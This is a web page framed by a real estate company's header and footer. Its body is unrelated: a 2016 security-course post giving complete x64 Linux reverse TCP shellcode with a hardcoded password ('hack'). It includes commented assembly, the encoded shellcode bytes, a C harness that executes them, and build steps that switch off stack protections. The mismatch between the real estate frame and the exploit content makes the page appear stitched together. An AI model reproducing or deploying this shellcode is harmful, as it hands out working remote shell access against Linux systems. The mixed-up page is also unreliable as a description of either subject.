Harrington Real Estate Group LLC
/*--------------------------------------------------------------------------------------------------------------------- /* *Title: tcp reverse shell with password polymorphic version 122 bytes *Author: Sathish kumar *Contact: https://www.linkedin.com/in/sathish94 *Copyright: (c) 2016 iQube. (http://iQube.io) *Release Date: January 29, 2016 *Description: x64 Linux reverse TCP port shellcode on port 4444 with reconfigurable password *Tested On: Ubuntu 14.04 LTS *SLAE64-1408 *Build/Run: gcc -fno-stack-protector -z execstack filename.c -o filename * ./bindshell * nc -l 4444 -vvv * global _start _start: xor rax, rax ;Xor function will null the values in the register beacuse we doesn't know whats the value in the register in realtime cases xor rsi, rsi mul rsi add rcx, 0x3 push byte 0x2 ;pusing argument to the stack pop rdi ; poping the argument to the rdi instructions on the top of the stack should be remove first because stack LIFO inc esi ; already rsi is 0 so incrementing the rsi register will make it 1 push byte 0x29 ; pushing the syscall number into the rax by using stack pop rax syscall ; copying the socket descripter from rax to rdi register so that we can use it further xchg rax, rdi ; server.sin_family = AF_INET ; server.sin_port = htons(PORT) ; server.sin_addr.s_addr = INADDR_ANY ; bzero(&server.sin_zero, 8) ; setting up the data sctructure xor rax, rax push rax ; bzero(&server.sin_zero, 8) mov ebx , 0xfeffff80 ; ip address "noted" to remove null not ebx mov dword [rsp-4], ebx sub rsp , 4 ; adjust the stack push word 0x5c11 ; port 4444 in network byte order push word 0x02 ; AF_INET push rsp pop rsi push 0x10 pop rdx push 0x2a pop rax syscall push 0x3 pop rsi ; setting argument to 3 duplicate: dec esi mov al, 0x21 ;duplicate syscall applied to error,output and input using loop syscall jne duplicate password_check: push rsp pop rsi xor rax, rax ; system read syscall value is 0 so rax is set to 0 syscall push 0x6b636168 ; password to connect to shell is hack which is pushed in reverse and hex encoded pop rax lea rdi, [rel rsi] scasd ; comparing the user input and stored password in the stack execve: ; Execve format , execve("/bin/sh", 0 , 0) xor rsi , rsi mul rsi ; zeroed rax , rdx register push ax ; terminate string with null mov rbx , 0x68732f2f6e69622e ; "/bin//sh" in reverse order inc rbx add rcx, 2 push rbx push rsp pop rdi ; set RDI push byte 0x3b ; execve syscall number (59) pop rax syscall */ #include #include unsigned char code[] = "x48x31xc0x48x31xf6x48xf7xe6x48x83xc1x03x6ax02x5fxffxc6x6ax29x58x0fx05x48x97x48x31xc0x50xbbx80xffxffxfexf7xd3x89x5cx24xfcx48x83xecx04x66x68x11x5cx66x6ax02x54x5ex6ax10x5ax6ax2ax58x0fx05x6ax03x5exffxcexb0x21x0fx05x75xf8x54x5ex48x31xc0x0fx05x68x68x61x63x6bx58x48x8dx3exafx48x31xf6x48xf7xe6x66x50x48xbbx2ex62x69x6ex2fx2fx73x68x48xffxc3x48x83xc1x02x53x54x5fx6ax3bx58x0fx05"; main() { printf("Shellcode Length: %dn", (int)strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Equal Housing Lender    Terms of Use | Privacy Policy | Contact Us    Realtor